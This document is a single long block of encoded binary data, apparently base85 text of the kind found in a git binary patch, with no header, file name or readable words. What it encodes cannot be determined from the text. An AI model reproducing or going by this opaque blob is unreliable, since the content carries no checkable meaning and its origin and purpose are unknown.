zhdV+OvT=vf8c;}c=~?tlJ#pCC$NFSBu}jQaK=WqjC|^A$DnCq{b=q$_o@{MtTk^E( zRHYK*31h~@MRCYtMcocxVmc+WnTE|D(W`7 z*Q-XOoQno2k6bbq2Kl^O$Jzt4SRVz{sJ8^AbbrU?l5nW6Z%JMAa^hfSrlZR_zdzC_ ze>@(%G@N%)*Wmi{E#A?_`1aadW|nF;tK;FAwQUJmA1P|i&zL@~v-RN&axM%BQPGz# zUW9XXc6F_De9ZMz?1*zm%&$wOQk;x~=f!`t*`u)V z5E_k%|3Tba0A;;?ZKEh#Q4|mr5fD&PNf7~Qk%yA*5|Eab?odQZK%}Ilq`Mnwq??D9 z?(Y27gZux!-*@JnIcLtyne)t^*#^ij?t9&9UF*88HPk=5n6J;yzCQj6we+SBYy9}c zp#wO*eb{EZ1w7zvUajl7Cnrwch}sos<+zOC?+bne=Lf= z#dtAV?HU_Rs|p4JKy-(C8W%UVvp7G$+-{Ss7lD9=95g}-oU3P41t7fl=ra(bsM!E; z$ifu)GD8CcpbJ>&ty?}#D%iI})XUAnLDS#gdK%f&B}E+%-HfP}DDYSIvmh3cvu%o zN%zU5qvwiX(>C3X&w3MbrWJ1K0Jk{RW4lN|fJjVDZSiJKE3+{m!RA!3z{-dv?dTD+{!p2T(B401K0^w*3*?#Bw6Vah z?A7nM-5pbTjN~H#@A5WGUd-K{oxF4M7u5U+NKRI!L(&H+szjWkzCI)tla%DOJ22a$ zP#fd&S}>8hjaz8492psAJGTOZhMW$(JcXDSw=hwwDVBnk)@bd-!-T`i!pd}NW{K5| z56MAJD%XyO3mCvN{o*H-(xu#Ki4%Xw0);u0<>f=XzRCVxdVyL^?x~xLc;Mv?8i#iS z8R0Q8>Offq!Z$Rohf47PR|KNIJy7`pBeBW`au2Y^AScLG0wxW(+L;1HM32r5f*Dl2 z0Gj}~VDj$W_vq+TST?{OfG>4*JqHIQ@fa@lhYw%!@%;gt8Q`!(KJV}E58S5!Z|~fq zA{Pj4Cx_cf_~I$*Kso*N>JKn;!92TlejAvSUd@Apw(z@b^-97QIVzz*hjnkXZJ?bg9H4_kMfKZLilJR#S((G@*QI~B+7?K1!96h@O8kyI-zTXC zD_q!MSPareED|Q;WB=xfpQkO;n;f=VvOtS@mXYtWO0%dQk6FG49ni&hMjE9Ks}_AB zp)vG!TY7? z)Z5bo^tqkgU2y$D;t@d8xn7Hj`4eA6Ow2goJ^*xwhlM2rI~knF0Fj+LzC{wi201z` za#&~_@ah5106GQawTQ&bOkzU9GK<;Y0KDD;I#Qso?+sjFc2@#04%i%!#8p&Op#D5K zhO zzk_{vxkDo(RRM4ZKoF8^AUh>xWHi8%i8u8qw z|D=B8wj%yKWn3$CY30^WpFO6Qh*6N0WnoE$4Hz9w82!S2IGf+`=Mzq9>ZRZP(!c6j zkM4ls+U{Ea_ORc=@}Qa3+RS`kvw3?N)~gRW5t+~L1AH@RhR`Un^A6uPRj7^uW?Eyr zDl;=PQMuD_nX^J@=&QJm`c&Dr`0KH-e6dvvso2?Pv+0TW!!qx4y7a`ImLsoNg=-#u zf!6L=DbZlInHg(sPGPQsoE(?=mRu*vI%b4omU`>&4jV(cqG3vR0*P40K(9})$i9Vy z6y_It0~t-R)7Ej*i9%ewUAg!C#o2m`YOxs+5s?U+xq7@q5vv09ZLdql$jNr5HD~i5 zKdKYl@*4cz6q%2~jLTwU?LAZk-NLV@u7B!VWbs_@%I6m6vt-E5cN)l2ON0*(^?N)) zV`s78I$IY(cXnP>CdzQ@h`xH0WN*Di_VS0Wx&(saaIdPR@<40$rQbUf$$6GGiOESo z*U2Ye85fwDNhI&r=%xm{Ri7$*Up4F5p-or6n^=%crRMbl$^nEb9Tn(iPIB%h#gg!( zC}gULUH>6-;e3;Z$M(7p@KNBzSSGB4t1}d@fG=6t65a%QhR2OkenERKb<|9TeTL&1 zdgpv%0)iGEz4z*s04bY{Sny7w(2(+S#lm?HZ}02+(ZYCmA<&V?Ljf(WXNSphj^QBU z0AU_T^GwlkagoEr3>s&qitGlkHlq|N$Y8JhWgO%OzCOO}WNoR}xiUCAJ38f6%JDkXLX zL=yw>t&qe6yAx|+MG^s}odcK<)qTcJOPhiq1Kl$Flag*kUx5g!VyisHy3ellU1Y2b zz700CwWZPUOG5?ry8eFq@e_ekdwV~%iLpL=hvyTymSGHk3pTopthWtTU*Pt zGln@^+tUW1W;o8XOx||=WZAdPfNF`6+_O_7M+rP3e|4;xzpC8{e^iy})YeY){+aj^ z;SG;kXm49x-@w22563W2VXo{GKUGp!A8$%e`dD$&s+c`aQMEdljGs(Co$Y0!g_jHV zW>7<=%IX7~$@n*pVZv|qk3kQ`m6h$GZ0U80je#t)>sJ-@i_B~9$mb3$PR`a*sr zw(loQDJdJOD%}A+Smk~9E>@innm;WqPX@CzNb$HnrW(EAWa;VaQYxS*@H3-D($Gw5 zY>qXjX;hELRR@5CKw9ybxq&6E*`1p{lG| zwC5;ra)Uc{GrkVz2@}&Mq_kkktU7YCoc5xeXtG?}SjX< EGgdafG!cup}uY%nyeBy>`!?7-a- z@Z9KVJ#)n7M7y!=&{EIH&~R-Wm&x{5yhf9MXKQP3U)OtEqgn=?8c2hVkLguzt1SK` z`jUNYszdjk*>Q=qcjWlW<0mvlCd=hci&IR~RL{gA(cmt#Cg#+%5Ha5beLWQJpK%Cw z4$NP@EPfd%Y_)XIjapQo!;}nvq4_JmVKd+kNcE}3?>C*H&qrO&-^|>hcnB-$fMk<| z*EuQkFkB<@63OQk|CDrrY?D+>SP|H@^_*9>>=0lR^8ae3;STl3|4E zb|^Z=&T-#m3@1mUL6f1|B<6cFn`sK!2hyv<`D{9CC(F{hv}DjKuffUwW>)iqu=@P$ z7_vuTTZ5})rwKaRL8oR)-+3i8)}zb!t*{nO^1)X6emjsQH}d(q|MX_4D&{kbqWZH~ zm*8LdBMuhprl`XcmM=Q5X%UJDP_w^gNu>i!wVGs=a#QVP8{!1B@i)Z|Nnk)*jFQkz z3VmWBMytZk0KW*-r{)9LBmMnIk^h&`iyPs8yR7tG`!B-955fQTVPQe}eEj{S;QkjK zO zpb&YvuhXoqlyI>%wiziY2PUso%tgGTzDV(@E6~ZnVjrcrxS^CEiHQY3$Ncf*DJL5v zcaVlCKQ!Xr2UXpN8``M+{kuh6yi-OYIJ>lr4)qN+0Y07cEv>(sTYuk@mWY{|jij(< z!PBJ_FdYvA6BD#5QDtN)fijXXjVx|*IZXTF%3Nq(V*;h4HnHy}4W(}PU}ORTFK8RkB8qum-!5?2m0UP&kbZC5oz6hym)!5kV)Kp}S zW*yj`r=_I4?=h@}^a88`%*HFiLqaI;`GRu*pwG}4EwM-2(0~`}br-Kh`r;Z62!rp= zY*SvDQ0@kDq?njqXG~^#dTS#j%P7J+=s2Jw6(~%>J^lxhbpS2$a&zG-zDYfH+ME)w zvMPw5D(|P$1Fy;H>E0A+a@O-8xd||x+(u0wC@v;tw@3^PRj{zwns7bm26t2_ABRUq zEb}i-Mz*$wdEK2Y{m*p(W5%=!k&#hvazHonPOw0jVrejY0zmipgaqV|tgJO)g^G)b zdA$P-sxA@%@JhF8#W$4kBem? zFUMGY0+Xz&-$%gn5l6s-1ws7-B4{PiGce3;mnMgO{n`a$F924Uv>UVp-it8+kQaD=4+h~aX7dRTJuJV?iAZNhB8loygfAXr;Wp-Ol_B!IYM zXqW~x?48ux-ENoAp>nS08ZRNQH)~BUeOhLT`oe4laKtT_M8K^zq#-4+5GH_q+vl!mRH34M;)KOqt z0PBkvmK+edK@+d__HB(0jDbo_PKNEE0?Zya=d+8Ofq1K!FW?Dr-hw}biG>AjgeyOU zDgnR+DBivUE(VVjl*VA&8Ln#k;bl$VLx5<9C`p1tLZA}t;DX^bTtJW&6T7K;7y6)$ zu#JFD)%4&s#ci4iH5Dl5Anz}cCL_}tuzg4d0$I4)`Po?}eT%Ib6e}9oVn99uQZN_= z93LIs4g^ZJm6a9DO#;DrxW3)ag0!7oNd?#3zph#}k{^!c&(8xu4Fzd_HSTf z4g+PN$2u7SlAv?IWn6q-&zskwRM1}cW+=Kh(v)eV|1;8cK| z1pWl-6%g|j7qgA1^f!CFPEAh-%8CyWB^hW!D1hEU2E+-Vc<38qfwBl#x|-??(5LbO zDPOA%YGefuAbUXD3+5)k%!Oc} zLox62i->rmcql-18j*Hb{Vd6G=kL#VTOV`ft<-{9VkqdKJ*!pGkF zeEj%r1lR{e1qOBlgAXDyNr0l998dtIvMlYR)*iIo^a3`W64XZip>A_=1;_`x`jQ#q?nqD3g#n8A5opalYmg| z9S}fG*0B}>2nRl<2Ne|+bmQ3B?SVJu9!XlI+V1D!|9b-m2B=d98vn4(UL!#DQV3kM z{~SD=w*DgDpBvoP|L*=jBRMwIt+3lb)X)3)G4wpmq2URfEHwy75a&P`3w0}?Et@-w zvWxoDlUDNutR}-&;PL(E&mVZWK=``r+W?Tsn|wVi*~GVp2M4Gi279vS*a*UpB9QeV zV1kql+97Puo-M&5RwhL|D8lCAG~Ym8H!Z+iU9v06o^J8GP!iPOPjb5)y;jX1J-Whz zQV{@;3m8RFB}GLxKp0}VLyK0059KRtxzWdcZlC6}tqXsLzRUbP^2ZeEQ9Ak#FIYFY zqX^mPcP4bkv(-6tJ;(-OTv(JhQ*@DF^yLhS7&I1Ecc@&N&`Lzd1$PF7pkNFjMI0Ov zW9hZy<0P|J(Nfq+HOwEzXVgA0O)->pjjeKA=P?a_JlBX9w?TBOKD#iGU;LqJ{A1~( zHqDjjaxen{NG`bZ;tmdeRxNsJgDzi=0By4A;jL?*afshAHG4ZTiIhXbUPnlqX&Ka$TrS*cTfs^IR~GCsmKvi`)J| zJAlLd8!Iu#;XzSnXQ#fqkUvR&j`IX8ZZ6-Ge_#*4jFOq;6%8`o|S zVca0{w7+pL*P!W~8%duN=1i_Q-?&yM9aLZ11y z0@-UZr{noANP5-6T%(22ilojTapeBQ=R>pXs8=va?Fq^C#`LmgkGis8ASz^K)Q)-` zppP!#qf~j^(*ZT=r=cF1glrCXae-#|sVy2>Orw-FvEs+4o#9Dx9Cj~V(a}$bIBml+ zl?WW?CF%#nSKeLm&%Hx+ZnEwNj1DY6|IU=|A+*g}l?ja)+tqQRq4f2=jrN~ZRAR57P1eyo_GtTF z!LG?zo`|k+z!n26JJ;7E;hz8>n#fbtflnEz1i9M_5_+ z1lApg2#}E(F1*eD`I7_8=s+HO)oP6*x)BA;x%v~6vN_02@Kk;m?yOlmyEI09zIPnR ze|&Iap*;W~F8pW56%&({wG)92{!o^4j1Ri9I~SyXi6vSl`&X@=yb8;{saD}89$Ecv zb3l9<+CbmyzJDL-jN#S5EgMR(XQsN%rFB2@ChCr)xKZ@;g9pGXh6*+KjM>o?nd!K( z5eK^0n4{wzfZNwbT;D_I+`(aX?}6cXTXgD+r%tMeDe0-iyyh}ANo{e}=L+|{9j@Bw zlao;<@l-nUKpz`Qdl~P3_Oo@!o1Ch#SD7b*0E^6d8sJk#77Z;%bXD_*Wb!QXWE`%4 zWMGdeUuZdNntlm`m*OuqNpH3Hj?sBvZWqIB@;ppS9_{bwxYs>u?Jf00gsiL!kWKJ9 z^M9V>!t3;!)KF84D!*zK`kDd)wH@2+hevlonY7F$A^a6P4>+SbdJ3`3+qFHlAHAkP zvTQi>m^k})AN7uU?I9GMZg&@Ozz`U&sXAShh8Fw`$U2KVgN?avOK0jBgt=*QuME zTiRLVX0k-$Qsej#kViz>$pg{~3C}>5$}f|L-(r4%7dmDCE5vi%DZ2o@H6m7%aCqv6 zH^O$-N6Ix~)zAOT{Xo5^4PsPX^+Rw4S$u9f$_>zkfM{50Ig31<1`CX22?P=4%*S0i^)@($BXc#3W zRM=1bBQKmFq%I9W2jSpooPw$&x;Q5!V85(i6J$AnL{3w1*&PTUJq3y7nfXUR8hiLc zVR3(=mIRSflDqBNI1G8v+f8z(_aPbjFYml+~>n~DoNtDH4l zXD-w`Ctp!<^5Dqj-14WC;0xUzyE+bQL2T07RVGc)|4Y2n5nH{nAuEJ zzJlkA{Mg)(qmQ-Lyn(9_OK89y7BNCaa0?w zV-r2|>YQI6&R-urysCexN1rt=KtgD^=(d7l3CYdz%s_ld9p3tP_`fi&AQCl2W z<2%l;!2zgJwDI)W^Si&VL6dKPjkhaZAIFpgwP0TA(wrAyLM!OLKKE0uvl{m=zl%S8 zRnRcz8pdX?Je9^2kT>wm`A&d{j~|~xQEv7vXj%xZB852%J*hw=F)r`{Qa>_#$)x9 zzI?eESzaE?ZL7IIe){Z{=IZd(YVnvMmYUeei*#CwV0=0`yMU!(^eLKCJh)((tmYBl ziJPO~a?MOnYV>pAg}aKhcL*TbHkugc8@=#DaXUxP4(j=0v}}1?aJuq&X0?DXdBTYBCXH6`sL)l&i}QPsTuql714p^%mBdHBxg`)poh~p&;N{y9T0%MqZ`rDaE>k&?7=;%2P0wc zzW@zHNZX88+syPX>YFDq8sr{eKX}nq%?hU93cDBZw}?BT zNNjr1_ipS`FD=@n=k6vR2H9_#wm+XQF2DtWr!Oz}#fcu}7`wqv(m-wOJ+wKgS%Dzy z?vg6b&t2-xFBeWkAk-YOprpY*+-6fHqLs+jXgaq!|C2DO>8@g5_%L31`<_~fm4|`M z*Ra9fesf!+m5Dg|*v`yry!LxeLyXfee(CzoeZNm+{*m;_riskNFY>z34z@Je$PtC{ zhE~O*PwPqqWo}K=<|7w(#wlkxO-S$xy*NXf#d@@Ek!;H zfYxeMaFk5dh2Qp%*Q2-<@Uzj2rr>>&T4+-iAA+rwDEOn;RnWM4uoe{0ZrbA~WaR|{ zP7DMChoW~>fx?NmOF_kxC?w`2C1GlseW|V(vGSJu27lehCJAtyq>ATp7mTXD%i_AZ z)1$ZOJH}R#swO`!b{KO9-p2w$j|7 zpSaTH9UrP(#?FRGS}0bA9dkM-16R>63w?>X<-E)~lH2(MHy64?oK_S$>ysTHoZ)JR zs8H|qK;)YDV+IC)qN{F_IslSj{W{0^S#`@od$#J+v{+(7uADQ?H`Mc4ZhK$eZWJ$8(zlUwBzE5%}z{tVOT#oq2FOLwPdViY&ES1R*v}m_@8rn zN$+`PJs4tpcQARzURp}4kR8jxt<%0G5Y>VUU3Axuh_HxI9*c#S;#hu>Ou2Ei1Ar|Z|Hk>R&LLF+!FoA@J<12?Fo+I! zae48KRdeUtY`SDL`+9eVfoD-Ba>Q8h2{8*jK?4nQ&OH%*(t#i>WHbH>0VKL@(I^@8FYx|>7n!)+CL-_KdBlI zzn#$k;jG|}6jj93`Sc2ja#f=ZkrC!)&x_EOtJnS}>zE|c9sWj53YQBbr8O<;E z{tVf#a(B%hDd=zfU0XZ)#bkEVj$}<7HsA7KRl7&4^pc_B9Au9U)d`6y&ErF=5o{oN zS1L43(6_YJ)s;R(kdf65UkzcPNPWn-K8rlbHVOPN#$l<)1O(GW9I(pl?O{$NN8LZ| zy>wwAV7NHfA4G$b7a1X|As5jFFou`!sS-iBqJ6PbucJJITzZz!pK zCN^J9!vFG?Z5WkyyT#rK-M#Dq4RWm*I;j^MyF0wRwYxe zEmvf@r3&rt(=#SqfCbHo(iBuw%IpqljA(rcda1zdCkvUQT*k6zij?_f7W8fE&TX+J z!Vs1_xKNYMF0*-e##Fy0mj-R>V_L-r@{g#gMG@aVUY^Tw;l2YLDg118;05Qn78q4V zqFwA;=J?ip9p~GatQf?(AN<{42)UvqIHjDid`u(B8 z{4^z}jg4+URq~k`9W0|k?3ID=5tPah%|)T2Nm9eWD3t!_3R)~RG;l$cOXNX#%XvPo zQkUDb;F;qc|0#vRi2rZ_OscBqU5>O(`LF!VOA4RAt2H_3*d=&gTdiGgQ^hlSk!K#X z=;-P72$_WwoO5lG^IEvx5`;D*PHX2-Br@w_@t~dEQ4+qW>)|r~k1P;IazLI|XwYt9 zdQk~Z68*oXue6f6$C}cnOtszO z@*oJ{Ua-nYNe#t`cE#q;i|TemAUw8Rmwod_43%?k>@I^IPl4mZ=JLUW(`gwox63#7 zC>FEss4Jqa$rW{6-aE0*80T|T&IR?wB9N5Ca5;9Eq)blD((()XKLIJz-z44X+D}Ea zn$A|S!nJGZKSZRrc@4x6Cg{$O zX;OP-7Y{lO)mGmKdM2A$-eAcm>P{6z{Mmejr+&DHOu;a*Zg)X7tHbYrOI>V5jn$5A zEhe*&(s5y`Z=<&1F_5(d!Ky}9pLo?|c4juoy}v680i7sZF%b<}GiV8X+|BanWh;?(RHGCGHoTUhj^{QPS;2Onb4bhMx-FDLJL zwZ-byJNA1g0)l#>esbM$ah3D|o#pqfL;OJ29K+>2kT1Y2K{*u!)#x7KQzy}SY}UM| z&*|(|DCS0wZW5ZG$@HBxw4yugEf2B0TiW@mm^~3}9r`UY48KT^|Lw#t$P7LI3E(zA zq8qV-BRi||>aFe;=J`g62tmXu2gcEn^|6s7MbP_QhaIo(I~@P)tZ=_C+4&OS5vPgE zX*==7oA{Z9n5SEe`95imIO=I`1YICa?_mQboa|dY-_s%|_N&}0RDp8HA@;#BfvE7X zk}@F0o}1SZJFHI@XVV7!t7UX*I2 z&r4QjecSEYceF8@?cxP44>5+Ova8bF55+-g|XEP9_C3WR28iMz*e1VYdw{DOrsmSj>qg7~bZFvHWu4|AiS8?Y_^LvhSmqT(` zwDWEt&LrI=&~b=?sd!y1`uRYz?hQv(BaeU>fs2^Q`-M?OxM%b!b&hU)v`A6eYiU9M zjbD}?;^zwp-jgA`Zki+t4KDVLR9}IgN^%uW*)f3JmJblU5U)_X>_+(&x+7@TB1{oMn- z{iP1vWkny(qRY+Ch)2xJ{^wNFBS^LqPSl8!7pPon-Gy;?z1I@TU#Poe6cxAEyFy{) zLQt7*0)23ZKx5BFCdm+x5`}PjU6}itk2ud^5V?M=3Jn79cw{X~-kDbx)8Vo)`?zgxd>KV^;+)1i` zuAF)o?I1?y|B|V`M6eFrTW0e>X;#Xd=Ld25!`~)+-cvLi1=&ULw+O1rAL#B))Al87 zu+uXj{l;eyN=;7(_mpf_3_sHLyZwK^m6OD?N%(!J75k*n)aAB zIZ0nw$P45^igXHr{$34QC^_LbY=z*+FjW{@uhsrJWSNx-SMNPS#i0zcZ}6cve4T^} zbv2Un%!>#*-Ilo-9(nOP-sPczP@z=f9dF=O}9A-~*%#IjEc{&q@ zkS=kVan3zLcbZ6C#@0xhf}2waMY6Mp#b?dVi>???n0!K}#GM9epEuTz<9P>vp;fK@ zk>q*oujUxb<>)fihrHK5Rsym=6PYbYrdCWci$ATuw>E@osfJZoKdih5wiUWF_u@5N zZ+SUrX(f>pgoh&%>28Z)&;mpG1oR?0;HxKW} zJRw}1XAroIdQ9ZZ3mb&@U)r70o7RLt_fnl^JOv6Qqp9XuE z#c7iZI10g0?f`#1g>Fcinp5&=+;P6!oCw0oWY?OEup;Md7vncv<+y{GO?({kcU@JQeMn@a2h4+R+hg< zJHTPG_8ixXW}TSWo(0qjwGn&zURbPXSmqzS_VE$x8t#b_s*u(1Kq@J3(Ukug_}{Am z7XqH|BPYrbk?|QdbWL=btf#(r-${lVAbjl4H!rRAP?Oa|7+k>fC{Ei^0gYb@bLd6T| z=#!Y#)amXMuCw)TAyp4Q+*o2HIeYx4@YMpzsgLBD(LDa{j^%Ni$=5*gmBAx%$?W=? z@VUsYRs!l%gQIMnDEwNf?ByW``%hcrB2v~ z#IO3YZ2AX14hV`TGYkdniKpqNB;Ik3H??9P6Bx{&6K=c`s(icj*;e-FmCGtG=y)h9 zIzF*bEzx*vU*#nk+&!GJ4*BA7)y<4C{i(kFih}9RjUgrF7%oeO6i0kkFdWr3(zb^4 z`|Bm=-&?=8jn}FyRt0H&uMQU$l$elyJJ?%=ei9OuB%xSA{ttWuB$Wz{FU5AATi1V` zWC|iI2YLa=Q+6DZ22>545UvW|zG>Exg+~1rW>dd;(Cd0CKIA9VW!U>->|v$Ji!LjO zt#phXU){N`Rb2CyU}5>jKOeb|vF(d@CbthG2$x`tP&5ZOLP4P@*Ea~p^^6p^Kr;~H z_A((VTy9t%wZ*%KmQ3negxDUtk5qD)^P3=#!|`on9ur3p_g0x>aw<(8p?B{E4Yy5) zVC)RDRGFkipD!e7#UP|)YH4ZaW<^S3t-PD-c$~+JhD8?h5CwZ*O-W-1IhL+S-r+T5 z-*Gr9J*!ro#Sg~A)jQQ~=Ca!o)I7g}m3&nh^%C&$wqL(a>A55Ijd2aR)ehU&vBLnj z+kM{WN%*t$CaxhXIqI|i@?UM75(a8scz3$fbxJo}jr^96-W)-9UG;X$V?F#iiv;;w zEfqwW8=J-%^dRCN>53a|`zVODn*F9+(?s_Xaq!%D!Da-ODi`-?DHf^b;JADF9*GVP z#_sa$%tDT)<$+fmI*8}InsX#pP1QK)u~hR77ccAT;^JPhUjMeSgG@|i#>BjlK~GQR zcbcU2OWeRMxjdI-o@JxA+{YQe69m}1F$ z%2XV88DL%VjE^PVIGcvu6;sjnkqYW2D)#0dIg2v1Nqyyman>-y3=`G<5Fwjn8v{ZO zp9md^B(9F-3LND)zD!=b1ld1NEU)3gq%_`7i+6)PM~>?@dtk)=({;V(tP(v*X8g~a zpOUTjctCOLiO?}JF;La)7b7FQ!}Wy-mDRY#w!xE-$=9*!ryPBZi~FP{?AkxUF>0od z+zX5e&@-L(a;84tGCR3YBagu zNYS@V#n6M2l7dn7o5I;A+N2CAF@%BgtOWdcK{^^O9NO~d5@={uxX?z>EB`x<^FZ?b z`d40=Hf?Fy<=0^i`juDPHb##+xr{P5 z{1IKAovS9Ic;ixjT_z;$^3xaBEioF>eSChJF*zK_#Gwug+FZ;0L<@otk=A>+1Iu1_ ztES%m9AVKNrg5(|45wOhWy>c)8gP~{6mJwUHoH1}Z@6#6l zZ5QkJ7Nv)ied%vcwNd-{;KAadyJTiUjPn==c*RBWFmlUCSH3c34X@ z!kC910u^kj7D)SbK@LPis+EN(2NAi1SWw~9w#D8h@x!b)o7s0Oh*C2U&lMw);rc@Bm9jv&rohB+H)^- z_g@}xii(~d6)w;@gGQucqN9m%8+av8R7gvCT@&lr<`%!&JW}u&`zj;T3@^I0AQ*v3 zI==KDz^NsMD6ds$py%rOVdKvK9IG-$k!Vw(0#Y)mWW`_v7=xL$; z;ykP>5?Y9VKO4>{(!$@*|AGJfZ?yZ(F*=ItXd9{ja{~~q3Juj-tc!3arz?LN2JOK& zDqR2eY&Gyvcn8k%G%YqFSpIt*XawL>6NaLYxOH|H4!VJ8=qs-)U>Z};PdUztk8wz^ z;1KowPQQW+EW7n_+eyG2Ca5T(Q!$X0IngngoSM#z>V}w&6@i#f6;OVy+@XvrkzzLq zs&no2s_6)hYF@Wk3W`UX9+kS@%~$tpGE34+_6^hf(@e%3RSON%2QuYHRrX1)#h2v1 z7@~Rj`yP@!V`jgpU$kT@bX{_D+vQMbjlHwdyV&K>LNaEai*=yQ`dNP7Ik(e_!iFoO zx{g=FRD=yHh&xgho7|lfg7iDqkN2C^C&Y~tW!i+~{k}Y4N^~5QNDJH#i`a8INHJel zWGv3oY-yLbI-OgMcEmPT%Kr#mMoZMg*f2ri2vus>&qi_?+><9%&iE|Jlz?J<7Um93 z#QMaUrd)H5VHIPY^mT^w8d~?`{oJCoz@SJX5?nxd5eQ5Vt&VtIP-K&T#)er*&M`4( z8qLnY+Kmc{`o>}3$mNZw)Zfoyp=-Z^Ia}<09$9RM%;7_KIJDAbJd1(6PcVW17V2 znTni!QKcO7p&^ zv5wrxuNb0CEy&0+)Y7T8kGiLa<`)@h=1|M(#}U6IfKB&u@jRQ`zEeITf-908?2T@k zSF6Tr6AXT>`*JdbHBj6 zx%$t!t?kOE)G-Gf!lUWVCW#n(Yi^ZNz0+}5oC(KUd%Y#z@K-)xT$+EPR?Fn_M`)+Z zS;A^j0@Xdtz7Ie?OaDT`CZzCr%_8xpM=Tcr<@?gJ+_u(#dPV<=w%_#CeKF zlV$%_gFD6!GI!qXJZa0oHttVg`he-q;(+~lM(Th9%g}|~!$}Q-lAB>iQ=_VCN@?OB zou6x6V?W2feGc+oxC0R;k-~5+4>@*>1DE=}8E8|Hjx6^uJyv!ukrAFwzi%4e3;Nj^ z{@hujX7=G;x7x#7ZLusYjEt`JlGCo|)7f1c*Y<+Hw9(Ovi{}d03o2bbI%0hG44#E@ zwY}<~Iy#cKt>B7Uctknuzz+v?%Ab!2hBO^(?_5sRabXSpcGI;%`-eb-CZsRJfx z)hK3-KdvUj#RZ`m36G0Keb zYwI}huv|sD=D3V;@MG-e=N1``qzM!=5bqIl)y8Z+eD1WjBeFVDv}a`-l9HZpj#?83 zWj_KbU`;I7+ORyeu$snacxL(glMqubwM4XPq0Mx)XFz8(6SA-VyBA$s`#|Q=^xP^Z0M4--MtswscatUV zGv2<=t|*lxN7LWOb0B0J8#5Nc>VOo5jtcUJMPM z>~ENtR=@~XF$Bx1@sPp=(|TjKRty6zWzIr$%k!$3PurJA@tr7!B1yntT4|W;Bpz9r z&2}hoE))3a*I+bPUU7c(LF;$=Wra<<3V%;76bG*2nF_371K%&(nd2uVhfk*S5# zu`y<+l$4yDD5~q|++SEUPgvIiOL2|f(9^m$&bLm3rTniAReA-nZtl>&QIO^5-<47o zrDdj7WqE~w-ZCOFAt95nue-a$UQwg}W9?;+SGlI!tg$Zq;k=@XS&!n|GQuncZ(^xu zZK2+lTlO%9tJ+nxjegA~Y)+Nz_kD%OU+^#lM-eJ3X`TL+bH5?={(IL`{h;Z(9R0@XpCQ=-aCntysb0NPdzdBOOs zj_FO8`>ZKh$>oMonJg8<`WNDWD%0=K1E2Wk=UNVf@!&kloCe&i=^e|_J^gvE-B29c z-U1I`3zkF~Q<(1uzxsZ7g@vvS$euPU><__3`Xe90<-A$jk1H;SKQi&Cf5?Bfp7p9I>=CrTXiUF$EnNv@bVy^SqSk z$jEHgK1)5eN|9$?6R8MK^O(0Em26kv!es?5{Mq3 z1rYSgPb1kk2V;fAW0=+lpD;UDE$bL)N-HVZZSO_r<1_d_V3I3Tdu5<(V5f7ackgo5 zk0N(&$L81KqP{*Z^(2Hu1WQZ5Vfr>~+-GKUcT?q_>AanYEM8w3vYhnPbpOtTL)v7# zJJz2jz+C#K%6u6c_|bFXMEQzuy%4p0rw(Qlh2ZtY!7)TlL1{L;wA`N2SRf;)E=>dxQsoNba|poIs}&iLt_uri?n1p9I-m{$41_+0t#zzl zdG`pk!9n_M+BiuvEpeb9>&~;vtL$Os8`R84~$eS>BmivqKZE@Jb1T6L8(B7!fK*NPh(Z+Zp)bXO^bDFiw z-4toO%7J1j{s50)Q1zJJO{*E(5Q^ytaSA^#OEAZ`L6CZP_{>tNPe05jUVc`RDIjY) zPt_WYHN&B#8qFUYDe6qcc<#Z`F{P9IzyfMoUso>=D(;t$O#3rl3eFYzD zU!@{y#V>kkPWBg6Ttllfr(*@wl1Dqixlq2osfrx5;J^42Qvc42hBE3mPT26?|9)PE z95lz*LGQKPdb#nh&;$OWVk_`(ixhtCR*d@5e?MvU^AnX*AjlzNH7)_y90P;Ypde5t zCV-31cR9esK!ybpqfp?t%h7~S20xL7IdT?jqowE=*c22LVBW#WSq>u1!8G~wllXuC z(T&2xHUUpi(tIK21RrN}@CzdgT!487C|MxrOu#$b>m8_`K;{P4&V2&|k#T*y72vx_%YPr>ILbw&;MCA}tU_r8O~`+XcJrCO=K#`#=wUh$e#IlOtk#TZ86}n1UgfF!B$k zXi!lGwZJG{7O)6{$u3ziyR&H;CWz&p(18AS?cJz{wmE)DH`{{g^s4rB`@gy$>Vq}` z3`xn(JJb@WWRaE*CToJCx1+-U%NOwe1<|3Dq9P-&kcSf88fd*>g3Y^kk5P4>w+oK4 zB*H&0Vzl0fET2S3ukl|w_J+N)Q+FKHcVKY568G}qdm9_D5N`rG9*C`&-%q~O+xLNq zcc5K*3dCrwPp>pV3#&v2PA<$$Ox=Bb6!9>(6Xb>NBY0aNBm>iJ z3y{Hq$2bTUjldxCi~0NaLoi?yWQ^bWKfFXa-N4cXLME8O8i4xJ3MRas_t0uGSiBJoG^A>4;U%V z5{SOKEzw)Ja7-_TTDzKm^gTa-LU|-D5Yqqla2^qsEk1=TWyY{peTncI@rt>y7Urtu z(KzwexzT#+a);BoqxO;FEDg$#*Nu`9Ym0LnPR(fjm*5OvW;5e0bH%V6vTeqRAS5JG z$d)>l+;~W*HN0{~-+xUXo3yEZb<}b4Pr~>3crs^aZiv5{?ng$3Rc{1@5!4c~BNZm| zS+1-LziFQHYMs%i3JUt)2cCK|+t{JTd+#Nn9ydSD-QIl-~>M#14XrNZ*Tu@^@I8+ z928WPy#9W@-2+p-(*77+$UxmNYrJ z9h?oHl)n6Erulwv(v{mhiX(>#l-Q+<%=(q9n8q~X)ch{HT@C(H-lS)dUUIcBP(!SS z?N}Z@yvN~i%R@`u#ieJT@9pZVDrN&gcnww;F&m)TwT^3Hq`do?*m2FhN+FSV`m2br z!2O_*@Qan8^VhF;^RR3tibuYRC~!6H+B*`nr?PrvXJq7j$QQ#nousr;POJ1VhvxeJZ)c3K;CHha&>i7pes&q zb*u4`2e9bAtOHU6WI|1#Lky;~^UKTa_rUnh!`&SRra`>}q0}%4fjtCvTn9@LG{D^> zt$Vd1^H|}iDyw%?`s+ffpO=T%NcBy}_AZ#+1D5}%Hiht0LrupbdI^&kR(s1YCnM&v z;@rP=Pq^}zSq*$vx=GE>`EzTa^bGO`MrQt`y}ei&I$R&(=Jlr!2|~Ko?ZoQO;z;HMp7QHf4E7Y-C5VG`fllN}(XW-w@eJcY0xE^s z6rm6wemH+`5n~NluZhuW?mX9wgDn%d4aS6p$$|A?wK%kPkenY+xp__>=zO!5$WcYQrEf7%b6X(R50w#5 z=J1~bsEE>Zr>jICbN7E%y7+aq$zH_8$vLWpDiM_&`DxGcKIMClG#CzcXYZ|%m|t9d z7?B+`=_4WmSkjSr^V!j+((izdBtggN*4#IxbI9i+LJsFn5Ti`$$MN{69_8qyd>gTw 